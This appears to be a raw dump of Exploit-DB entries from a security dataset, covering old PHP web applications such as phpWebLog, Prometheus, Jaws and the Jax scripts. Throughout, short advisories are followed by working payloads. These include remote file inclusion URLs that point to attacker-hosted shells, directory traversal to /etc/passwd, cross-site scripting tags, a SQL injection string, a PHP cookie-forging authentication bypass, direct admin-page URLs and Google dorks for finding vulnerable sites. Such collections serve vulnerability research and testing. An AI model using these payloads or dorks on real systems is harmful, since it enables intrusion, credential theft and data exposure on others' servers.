deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25193
Description: Jason Hines PHPWebLog 0.4/0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-07
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/12747/info

phpWebLog is prone to remote file include vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it in a PHP 'include_once()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/phpWebLog/include/init.inc.php?G_PATH=http://www.example.org/
http://www.example.com/phpWebLog/backend/addons/links/index.php?PATH=http://www.example.org/
Exploit-DB #21976
Description: Jason Orcutt Prometheus 3.0/4.0/6.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-11-01
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/6087/info

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter. 

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0
Exploit-DB #32351
Description: Jaw Portal 1.2 - 'index.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-09-10
Author: SirGod

Exploit:
source: https://www.securityfocus.com/bid/31099/info

Jaw Portal is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to execute arbitrary local PHP scripts within the context of the webserver process.

Jaw Portal 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?flag=../../../autoexec.bat%00
http://www.example.com/index.php?inc=../../../autoexec.bat%00
Exploit-DB #24257
Description: Jaws 0.2/0.3 - 'action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-07-06
Author: Fernando Quintero

Exploit:
source: https://www.securityfocus.com/bid/10670/info
  
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
  
JAWS is prone to a cross-site scripting vulnerability.
  
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
  
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
  
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<b>bold letter</b>
http://www.example.com/jaws/index.php?gadget=[a valid gadget]&action=<script>alert('Colombia Rulx!!');</script>
Exploit-DB #24255
Description: Jaws 0.2/0.3 - 'gadget' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2004-07-06
Author: Fernando Quintero

Exploit:
source: https://www.securityfocus.com/bid/10670/info

JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

JAWS is prone to a cross-site scripting vulnerability.

This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks. 

JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script. 

An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

http://www.example.com/jaws/index.php?gadget=../../../../../../../../../../etc/passwd%00&path=/etc
Exploit-DB #24256
Description: Jaws 0.2/0.3 - Cookie Manipulation Authentication Bypass
Type: webapps
Platform: php
Date: 2004-07-06
Author: Fernando Quintero

Exploit:
source: https://www.securityfocus.com/bid/10670/info
 
JAWS is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:
 
JAWS is prone to a cross-site scripting vulnerability.
 
This cross-site scripting issue can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.
 
JAWS is reported to be prone to a file disclosure vulnerability. The vulnerability presents itself because directory traversal sequences "../.." are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for URI parameters passed to the a JAWS script.
 
An authentication bypass vulnerability is reported to affect the JAWS authentication system. It is reported that an authentication cookie is derived from a known value, a remote attacker may create a cookie and use this cookie to authenticate to the system.

//BEGIN

//exploit.php
<?PHP
setcookie("logged","d41d8cd98f00b204e9800998ecf8427e",time()+86400*365,'path
to jaws');
?>

//END
Exploit-DB #24334
Description: Jaws 0.2/0.3/0.4 - 'ControlPanel.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-07-29
Author: Fernando Quintero

Exploit:
source: https://www.securityfocus.com/bid/10826/info

JAWS is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the controlpanel.php script due to a failure of the application to properly sanitize user-supplied URI parameter input before using it in an SQL query.

Because of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database.

<script type="text/javascript">

function crypt_form(form) {
var new_[CREDENTIAL_REDACTED](form.password.value);
form.crypted_password.value = "' or '2'='2";
form.password.value = "";
return true;
}
</script>
Exploit-DB #2627
Description: Jaws 0.5.2 - '/include/JawsDB.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: Drago84

Exploit:
###### ToXiC #########################
#
# Jaws 0.5.2: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                    jaws 0.5.2
#
#
#  Sorce Code:
#             http://forge.novell.com/modules/xfcontent/private.php/jaws/jaws-0.5.2/jaws-0.5.2.tar.gz
#
#
# Page:                
#     JawsDB.php
#
# Problem:
#
#         GLOBALS["path"] not Declare
#
# Dir :
#      /html/include/
#
#
#
#
#
#
# ExPloit :
#   http://www.site.com/jaws_PATH/html/include/JawsDB.php?path=[Evil Script]
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-23]
Exploit-DB #36216
Description: Jaws 0.8.14 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2011-10-10
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/50022/info

Jaws is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or execute arbitrary script code in the context of the Web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Jaws 0.8.14 is vulnerable; other versions may also be affected. 

http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI]
http://www.example.com/jaws/libraries/pear/MDB2.php?file_name=[RFI]
http://www.example.com/jaws/libraries/pear/Services/Weather.php?service=[RFI]
http://www.example.com/jaws/libraries/pear/SOAP/Transport.php?transport_include=[RFI]
http://www.example.com/jaws/libraries/pear/Crypt/RSA/MathLoader.php?class_filename=[RFI]
Exploit-DB #7976
Description: Jaws 0.8.8 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2009-02-04
Author: fuzion

Exploit:
Jaws 0.8.8 Local File Inclusion

POST /upgrade/index.php
language=../../../../../../../../../../../../etc/passwd%00

POST /install/index.php
language=../../../../../../../../../../../../etc/passwd%00
Also vulnerable:
Introduction_complete
use_log

Author notified: Jan 24

# milw0rm.com [2009-02-04]
Exploit-DB #25942
Description: Jaws 0.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-06
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/14158/info

JAWS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/[path]/gadgets/Blog/BlogModel.php?path=http://www.example.com
Exploit-DB #25740
Description: Jaws Glossary 0.4/0.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-27
Author: Nah

Exploit:
source: https://www.securityfocus.com/bid/13796/info

JAWS is prone to a cross-site scripting vulnerability.

This issue is due to a failure in the application to properly sanitize user-supplied input to the 'Glossary' module.

This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

JAWS versions 0.4 and 0.5 and subsequent are reportedly vulnerable. 

http://www.example.com/index.php?gadget=Glossary&action=ViewTerm&term=<script src=some script</script>
Exploit-DB #27027
Description: Jax Calendar 1.34 - 'jax_calendar.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-26
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16130/info

Jax Calendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.34 and prior are affected; other versions may also be vulnerable. 

http://www.example.com/jax_calendar.php?Y=2005&m=11&d=15&cal_id=[SQL]
Exploit-DB #10835
Description: Jax Calendar 1.34 - Remote Admin Access
Type: webapps
Platform: php
Date: 2009-12-30
Author: Sora

Exploit:
# Exploit Title: Jax Calendar 1.34 Remote Admin Access Exploit
# Date: December 30th, 2009
# Author: Sora
# Software Link: http://www.jtr.de/scripting/php
# Version: 1.34
# Tested on: Windows Vista and Linux (Backtrack 3)
----------------------------

> Jax Calendar 1.34 Remote Admin Access Exploit
> Author: Sora
> Contact: vhr95zw [at] hotmail.com

# Google dork: "Jax Calendar v1.34 by Jack (tR), www.jtr.de/scripting/php"

Description:
Jax Calendar 1.34 suffers a remote admin access vulnerability.

Solution:
Add calendar.admin.php to your .htaccess file.

# POC:
http://www.site.com/kalender/admin/calendar.admin.php?cal_id=0&language=english
Exploit-DB #9051
Description: jax formmailer 3.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-30
Author: ahmadbady

Exploit:
                             --:remote file include:--
---------------------------------                  
script:Jax FormMailer 3.0.0
Release:01.06.2008
-
Author: ahmadbady
    
-----------------------------------------------------------------------
download from:http://www.jtr.de/scripting/php/formmailer/index_eng.html
   
-----------------------------------------------------------------------
dork:intitle:"Jax Formmailer - Administration"
-------------------------------------------
-------------------------------------------
xpl:

/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://site.com/shell.txt?

*******************************************

# milw0rm.com [2009-06-30]
Exploit-DB #31580
Description: Jax Guestbook 3.31/3.50 - 'jax_Guestbook.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28523/info

Jax Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/scripting/php/guestbook/guestbook/jax_guestbook.php?language="><script>alert()</script>
Exploit-DB #27664
Description: Jax Guestbook 3.50 - 'Page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-17
Author: ALMOKANN3

Exploit:
source: https://www.securityfocus.com/bid/17560/info

Jax Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.50 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/jax_guestbook.php?page=[XSS]&language=english
http://www.example.com/guestbook.admin.php?action=list&guestbook_id=0&language=german&gmt_ofs=0&page=[XSS]
Exploit-DB #10626
Description: Jax Guestbook 3.50 - Admin Login
Type: webapps
Platform: php
Date: 2009-12-24
Author: Sora

Exploit:
# Exploit Title: Jax Guestbook 3.50 Admin Login Exploit
# Date: December 23rd, 2009
# Author: Sora
# Software Link: http://script.wareseeker.com/ASP-NET/jax-guestbook-3.50.zip/32956d53cf
# Version: 3.50
# Tested on: Windows and Linux

-------------------------------------------
>> Jax Guestbook 3.50 Admin Login Exploit
>> Description: Jax Guestbook 3.50 suffers a bug that will allow you to log in as the admin.
>> Found by: Sora
>> Contact: vhr95zw [at] hotmail.com
>> Google Dork: "inurl:guestbook.admin.php?action=settings"

We can access the admin directory of Jax Guestbook 3.50 to edit the admin settings.

# Code: http://www.site.com/admin/gaestebuch/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <German>
http://www.site.com/admin/guestbook/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <English>

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!
Exploit-DB #29469
Description: Jax Petition 3.06 Book - 'smileys.php?languagepack' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-01-15
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/22072/info
 
Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execute in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.
 
These issues affect version 1.0.3.06; other versions may also be vulnerable. 

http://www.example.com/smileys.php?language=../../example_file.xxx%00?
Exploit-DB #29468
Description: Jax Petition Book 3.06 - 'jax_petitionbook.php?languagepack' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-01-15
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/22072/info

Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execute in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

These issues affect version 1.0.3.06; other versions may also be vulnerable. 

http://www.example.com/jax_petitionbook.php?language=../../example_file.xxx%00?
Exploit-DB #26084
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'archive.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
   
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/newsletter/archive.php?language=spanish[XSS-CODE]
Exploit-DB #26081
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'dwt_editor.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info

Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/dwt_editor/dwt_editor.php?language=english[XSS-CODE]&cur_dir=%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor
http://www.example.com/dwt_editor/dwt_editor.php?language=english&cur_dir=[XSS-CODE]%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor
http://www.example.com/dwt_editor/dwt_editor.php?do=editarea&cur_dir=%2Fscripting%2Fphp%2Fdwteditor%2Fdwt_editor%2Ffiles%2Fzweit+ebene&file=5db14c3963eff6b87ce20155708fd867&language=german&area=textbereich2[XSS-CODE]
Exploit-DB #26085
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'jax_guestbook.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
    
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/guestbook/jax_guestbook.php?page=2&language=english&guestbook_id=0&gmt_ofs=0[XSS-CODE]
http://www.example.com/guestbook/jax_guestbook.php?page=2&language=english[XSS-CODE]&guestbook_id=0&gmt_ofs=0
http://www.example.com/guestbook/jax_guestbook.php?page=2[XSS-CODE]&language=english&guestbook_id=0&gmt_ofs=0
http://www.example.com/guestbook/jax_guestbook.php?mailto=9aa43a5efc2585681c97993d777bcd41&language=english[XSS-CODE]
Exploit-DB #26086
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'jax_linklists.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
     
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/linklists/jax_linklists.php?language=English[XSS-CODE]
http://www.example.com/linklists/jax_linklists.php?do=list&list_id=0&language=english&cat=Religion[XSS-CODE]
Exploit-DB #26082
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'jax_newsletter.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
 
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/newsletter/jax_newsletter.php?language=German[XSS-CODE]&ml_id=1
Exploit-DB #26088
Description: Jax PHP Scripts 1.0/1.34/2.14/3.31 - 'shrimp_petition.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14481/info
       
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
       
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/petitionbook/shrimp_petition.php?page=3&language=English&guestbook_id=0&gmt_ofs=0[XSS-CODE]
http://www.example.com/petitionbook/shrimp_petition.php?page=3&language=English[XSS-CODE]&guestbook_id=0&gmt_ofs=0
http://www.example.com/petitionbook/shrimp_petition.php?page=3[XSS-CODE]&language=English&guestbook_id=0&gmt_ofs=0